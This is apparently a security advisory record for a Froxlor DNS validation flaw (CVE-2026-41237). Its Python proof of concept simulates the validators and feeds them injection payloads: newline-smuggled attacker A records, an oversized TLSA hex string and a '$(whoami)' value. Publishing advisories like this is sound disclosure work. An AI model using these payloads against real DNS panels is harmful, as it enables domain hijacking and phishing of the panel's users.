{"id":"CVE-2026-41237","aliases":["GHSA-j6fm-9rfm-j5hx"],"url":"https://o3.security/vulnerability/CVE-2026-41237","summary":"Froxlor has an incomplete fix for CVE-2026-30932","details":"### Summary\n\nThe LOC record regex uses `\\s+` which matches newlines (allowing embedded newlines to pass), TLSA `matchingType=0` has no upper bound on hex data length, and all validators return raw input without zone-file escaping.\n\n### Affected Package\n\n- **Ecosystem:** Other\n- **Package:** froxlor\n- **Affected versions:** all versions before fix commit b34829262dc3\n- **Patched versions:** >= commit b34829262dc3\n\n### Severity\n\nMedium -- CVSS\n\n### CWE\n\nCWE-74 -- Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection)\n\n### Details\n\nDNS record content is concatenated directly into bind9 zone files at `DnsEntry.php` line 83. Before the fix, LOC/RP/SSHFP/TLSA records had no content validation at all, enabling zone file injection via embedded newlines.\n\nThe fix adds format-specific regexes and field validation but has gaps: the LOC regex's `\\s+` matches newlines in PHP's PCRE engine, allowing a LOC record with a newline between fields to pass validation but produce multiple lines in the zone file. TLSA `matchingType=0` only requires `len(data) >= 2` with no upper bound, enabling arbitrarily large payloads. All validators return raw input without zone-file escaping.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE-2026-30932 - Incomplete DNS Record Content Validation in froxlor/froxlor\n\nAffected component: lib/Froxlor/Api/Commands/DomainZones.php\nVulnerability type: Input Validation / DNS Zone File Injection\nPatch: https://github.com/froxlor/froxlor/commit/b34829262dc32818b37f6a1eabb426d0b277a86b\n\nThe patch adds validation for LOC, RP, SSHFP, and TLSA DNS record types.\nHowever, the sanitization is incomplete:\n\n1. PRE-FIX: No validation at all - arbitrary content stored as DNS records.\n2. POST-FIX BYPASS: LOC regex \\s+ matches newlines; TLSA matchingType=0\n   allows unbounded hex data; validators return raw input without escaping.\n\"\"\"\n\nimport re\nimport sys\nimport string\n\ndef vulnerable_add_record(record_type, content):\n    \"\"\"Pre-fix: no validation for LOC, RP, SSHFP, TLSA.\"\"\"\n    errors = []\n    if record_type in ('LOC', 'RP', 'SSHFP', 'TLSA') and content:\n        pass\n    return {\"errors\": errors, \"content\": content}\n\n\ndef validate_dns_loc(inp):\n    \"\"\"Replicates Validate::validateDnsLoc from the patch.\"\"\"\n    pattern = re.compile(\n        r'^'\n        r'(\\d{1,2})\\s+'\n        r'(\\d{1,2})\\s+'\n        r'(\\d{1,2}(?:\\.\\d+)?)\\s+'\n        r'([NS])\\s+'\n        r'(\\d{1,3})\\s+'\n        r'(\\d{1,2})\\s+'\n        r'(\\d{1,2}(?:\\.\\d+)?)\\s+'\n        r'([EW])\\s+'\n        r'(-?\\d+(?:\\.\\d+)?)m'\n        r'(?:\\s+(\\d+(?:\\.\\d+)?)m'\n        r'(?:\\s+(\\d+(?:\\.\\d+)?)m'\n        r'(?:\\s+(\\d+(?:\\.\\d+)?)m)?'\n        r')?)?$',\n        re.DOTALL\n    )\n    m = pattern.match(inp)\n    if not m:\n        return False\n\n    lat_deg = int(m.group(1))\n    lat_min = int(m.group(2))\n    lat_sec = float(m.group(3))\n    lon_deg = int(m.group(5))\n    lon_min = int(m.group(6))\n    lon_sec = float(m.group(7))\n\n    if lat_deg > 90: return False\n    if lat_min > 59: return False\n    if lat_sec >= 60: return False\n    if lon_deg > 180: return False\n    if lon_min > 59: return False\n    if lon_sec >= 60: return False\n\n    return inp\n\n\ndef validate_dns_sshfp(inp):\n    \"\"\"Replicates Validate::validateDnsSshfp from the patch.\"\"\"\n    parts = inp.strip().split()\n    if len(parts) != 3:\n        return False\n\n    algorithm, fp_type, fingerprint = parts\n\n    valid_algorithms = [1, 2, 3, 4, 6]\n    if not algorithm.isdigit() or int(algorithm) not in valid_algorithms:\n        return False\n\n    valid_types = [1, 2]\n    if not fp_type.isdigit() or int(fp_type) not in valid_types:\n        return False\n\n    if not all(c in string.hexdigits for c in fingerprint):\n        return False\n\n    fp_type_int = int(fp_type)\n    expected = {1: 40, 2: 64}.get(fp_type_int, 0)\n    if len(fingerprint) != expected:\n        return False\n\n    return inp\n\n\ndef validate_dns_tlsa(inp):\n    \"\"\"Replicates Validate::validateDnsTlsa from the patch.\"\"\"\n    parts = inp.strip().split()\n    if len(parts) != 4:\n        return False\n\n    usage, selector, matching_type, data = parts\n\n    if not usage.isdigit() or int(usage) not in [0, 1, 2, 3]:\n        return False\n    if not selector.isdigit() or int(selector) not in [0, 1]:\n        return False\n    if not matching_type.isdigit() or int(matching_type) not in [0, 1, 2]:\n        return False\n    if not all(c in string.hexdigits for c in data):\n        return False\n\n    mt = int(matching_type)\n    if mt == 1 and len(data) != 64:\n        return False\n    if mt == 2 and len(data) != 128:\n        return False\n    if mt == 0 and len(data) < 2:\n        return False\n\n    return inp\n\n\ndef validate_dns_rp(inp):\n    \"\"\"Replicates Validate::validateDnsRp from the patch.\"\"\"\n    parts = inp.strip().split()\n    if len(parts) != 2:\n        return False\n\n    mbox, txt = parts\n    mbox = mbox.rstrip('.')\n    txt = txt.rstrip('.')\n\n    domain_re = re.compile(r'^[a-zA-Z0-9._-]+$')\n    if not domain_re.match(mbox):\n        return False\n    if not domain_re.match(txt):\n        return False\n\n    return inp\n\n\ndef fixed_add_record(record_type, content):\n    \"\"\"Post-fix: validates content but returns raw input.\"\"\"\n    errors = []\n    validators = {\n        'LOC': validate_dns_loc,\n        'RP': validate_dns_rp,\n        'SSHFP': validate_dns_sshfp,\n        'TLSA': validate_dns_tlsa,\n    }\n    if record_type in validators and content:\n        result = validators[record_type](content)\n        if result is False:\n            errors.append(f\"The {record_type} record has invalid content\")\n    return {\"errors\": errors, \"content\": content}\n\n\ndef generate_zone_line(record, ttl, rtype, content):\n    \"\"\"Replicates DnsEntry.php line 83: direct string concatenation.\"\"\"\n    return f\"{record}\\t{ttl}\\tIN\\t{rtype}\\t{content}\\n\"\n\n\nvuln_confirmed = False\n\nprint(\"=\" * 70)\nprint(\"CVE-2026-30932 PoC: froxlor DNS Record Content Injection\")\nprint(\"=\" * 70)\nprint()\n\nprint(\"[TEST 1] VULNERABLE version: SSHFP record with zone injection\")\nprint(\"-\" * 70)\n\nmalicious_sshfp = \"1 1 aabbccdd\\nevil.example.com.\\t300\\tIN\\tA\\t6.6.6.6\"\nresult = vulnerable_add_record('SSHFP', malicious_sshfp)\n\nif not result['errors']:\n    zone_output = generate_zone_line('@', 300, 'SSHFP', result['content'])\n    print(\"VULNERABLE: No validation, malicious content accepted!\")\n    print(\"Generated zone file output:\")\n    print(\"---\")\n    print(zone_output, end=\"\")\n    print(\"---\")\n    if \"6.6.6.6\" in zone_output:\n        print(\"[!] DNS zone injection: attacker A record (6.6.6.6) injected!\")\n        vuln_confirmed = True\n\nprint()\n\nprint(\"[TEST 2] FIXED version: same SSHFP injection attempt (should be blocked)\")\nprint(\"-\" * 70)\n\nresult_fixed = fixed_add_record('SSHFP', malicious_sshfp)\nif result_fixed['errors']:\n    print(\"FIXED: Blocked -\", \"; \".join(result_fixed['errors']))\nelse:\n    print(\"BYPASS: Still accepted!\")\n    vuln_confirmed = True\n\nprint()\n\nprint(\"[TEST 3] FIXED version BYPASS: LOC record with newline via \\\\s+ matching\")\nprint(\"-\" * 70)\n\nloc_bypass = \"51 28 38 N 0 0 1\\nW\\n10m\"\nresult_loc = fixed_add_record('LOC', loc_bypass)\n\nif not result_loc['errors']:\n    zone_output = generate_zone_line('@', 300, 'LOC', result_loc['content'])\n    lines = [l for l in zone_output.split('\\n') if l.strip()]\n    if len(lines) > 1:\n        print(\"BYPASS CONFIRMED: LOC with embedded newline passed validation!\")\n        print(f\"Generated zone output has {len(lines)} lines:\")\n        print(\"---\")\n        print(zone_output, end=\"\")\n        print(\"---\")\n        vuln_confirmed = True\n    else:\n        print(\"Validated but single line output.\")\nelse:\n    print(\"Blocked:\", \"; \".join(result_loc['errors']))\n    templates = [\n        \"51\\n28 38 N 0 0 1 W 10m\",\n        \"51 28\\n38 N 0 0 1 W 10m\",\n        \"51 28 38\\nN 0 0 1 W 10m\",\n        \"51 28 38 N\\n0 0 1 W 10m\",\n        \"51 28 38 N 0\\n0 1 W 10m\",\n        \"51 28 38 N 0 0\\n1 W 10m\",\n        \"51 28 38 N 0 0 1\\nW 10m\",\n        \"51 28 38 N 0 0 1 W\\n10m\",\n    ]\n    for i, t in enumerate(templates):\n        r = fixed_add_record('LOC', t)\n        if not r['errors']:\n            zone_out = generate_zone_line('@', 300, 'LOC', r['content'])\n            zlines = [l for l in zone_out.split('\\n') if l.strip()]\n            if len(zlines) > 1:\n                print(f\"  BYPASS at position {i}: newline in LOC passed validation!\")\n                print(f\"  Zone output lines: {len(zlines)}\")\n                vuln_confirmed = True\n                break\n    else:\n        print(\"  LOC newline bypass not directly exploitable in this regex engine.\")\n\nprint()\n\nprint(\"[TEST 4] FIXED version BYPASS: TLSA matchingType=0 with oversized hex payload\")\nprint(\"-\" * 70)\n\nhuge_hex = \"aa\" * 50000\ntlsa_payload = \"3 1 0 \" + huge_hex\nresult_tlsa = fixed_add_record('TLSA', tlsa_payload)\n\nif not result_tlsa['errors']:\n    print(f\"BYPASS: TLSA with matchingType=0 accepted {len(huge_hex)} char hex payload!\")\n    print(\"  -> No upper bound on certificate association data length.\")\n    print(\"  -> Can be used for DNS amplification or data exfiltration channel.\")\n    print(f\"  -> Zone line would be {len(generate_zone_line('_443._tcp', 300, 'TLSA', result_tlsa['content']))} bytes!\")\n    vuln_confirmed = True\nelse:\n    print(\"Blocked:\", \"; \".join(result_tlsa['errors']))\n\nprint()\n\nprint(\"[TEST 5] VULNERABLE version: LOC record with full zone takeover injection\")\nprint(\"-\" * 70)\n\nmalicious_loc = \"51 28 38 N 0 0 0 W 10m\\nevil\\t300\\tIN\\tA\\t10.0.0.1\\n*.evil\\t300\\tIN\\tA\\t10.0.0.2\"\nresult_vuln_loc = vulnerable_add_record('LOC', malicious_loc)\n\nif not result_vuln_loc['errors']:\n    zone_output = generate_zone_line('@', 300, 'LOC', result_vuln_loc['content'])\n    lines = [l for l in zone_output.split('\\n') if l.strip()]\n    print(f\"VULNERABLE: Injected {len(lines)} zone file lines!\")\n    print(\"Generated zone output:\")\n    print(\"---\")\n    print(zone_output, end=\"\")\n    print(\"---\")\n    if \"10.0.0.1\" in zone_output:\n        print(\"[!] Attacker DNS records injected into zone file!\")\n        vuln_confirmed = True\n\nprint()\n\nprint(\"[TEST 6] VULNERABLE vs FIXED: TLSA with shell metacharacters\")\nprint(\"-\" * 70)\n\nshell_inject = \"3 1 1 $(whoami)\"\nvuln_r = vulnerable_add_record('TLSA', shell_inject)\nfixed_r = fixed_add_record('TLSA', shell_inject)\n\nvuln_status = \"ACCEPTED (no validation)\" if not vuln_r['errors'] else \"BLOCKED\"\nfixed_status = \"ACCEPTED\" if not fixed_r['errors'] else \"BLOCKED\"\n\nprint(f\"  VULNERABLE version: {vuln_status}\")\nprint(f\"  FIXED version:      {fixed_status}\")\n\nif not vuln_r['errors'] and fixed_r['errors']:\n    print(\"  -> Fix correctly blocks shell metacharacters in TLSA.\")\nif not vuln_r['errors']:\n    vuln_confirmed = True\n\nprint()\n\nprint(\"=\" * 70)\nprint(\"RESULTS SUMMARY\")\nprint(\"=\" * 70)\nprint()\nprint(\"Pre-fix (VULNERABLE):\")\nprint(\"  - LOC, RP, SSHFP, TLSA records accept ANY content with no validation\")\nprint(\"  - Enables DNS zone file injection via newlines in record content\")\nprint(\"  - Content directly concatenated into zone files (DnsEntry.php:83)\")\nprint()\nprint(\"Post-fix (INCOMPLETE):\")\nprint(\"  - TLSA matchingType=0 has no upper bound on hex data length\")\nprint(\"  - Validation returns raw input without zone-file escaping\")\nprint(\"  - No output encoding when writing content to zone files\")\nprint()\n\nif vuln_confirmed:\n    print(\"VULNERABILITY CONFIRMED\")\n    sys.exit(0)\nelse:\n    print(\"VULNERABILITY NOT CONFIRMED\")\n    sys.exit(1)\n\n```\n\n**Steps to reproduce:**\n1. `git clone https://github.com/froxlor/froxlor /tmp/froxlor_test`\n2. `cd /tmp/froxlor_test && git checkout b34829262dc3~1`\n3. `python3 poc.py`\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\nLOC, RP, SSHFP, TLSA records accept unvalidated content; DNS zone file injection via newlines and shell metacharacters\n```\n\n### Impact\n\nAn authenticated froxlor user with DNS management permissions can inject arbitrary records into bind9 zone files, enabling domain hijacking, phishing, or DNS amplification attacks via unbounded TLSA payloads.\n\n### Suggested Remediation\n\nReplace `\\s+` in the LOC regex with `[ \\t]+` to exclude newlines. Add a maximum length for TLSA `matchingType=0` data. Escape or reject newlines in all DNS record content before writing to zone files.\n\n### Resources\n\n- Incomplete fix commit: https://github.com/froxlor/froxlor/commit/b34829262dc3\n- Original CVE: CVE-2026-30932","published":"2026-06-04T17:55:19.361Z","modified":"2026-08-12T03:51:25.262976145Z","cvss":null,"epss":{"score":0.00269,"percentile":0.18573,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"froxlor/froxlor","fixedVersion":"2.3.7"}],"fix":{"url":"https://github.com/froxlor/froxlor/commit/b34829262dc3","label":"froxlor/froxlor@b348292"},"references":[{"type":"WEB","url":"https://github.com/froxlor/froxlor/releases/tag/2.3.7"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41237.json"},{"type":"ADVISORY","url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-j6fm-9rfm-j5hx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41237"},{"type":"FIX","url":"https://github.com/froxlor/froxlor/commit/b34829262dc3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30932"},{"type":"PACKAGE","url":"https://github.com/froxlor/froxlor"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:25.262976145Z"}}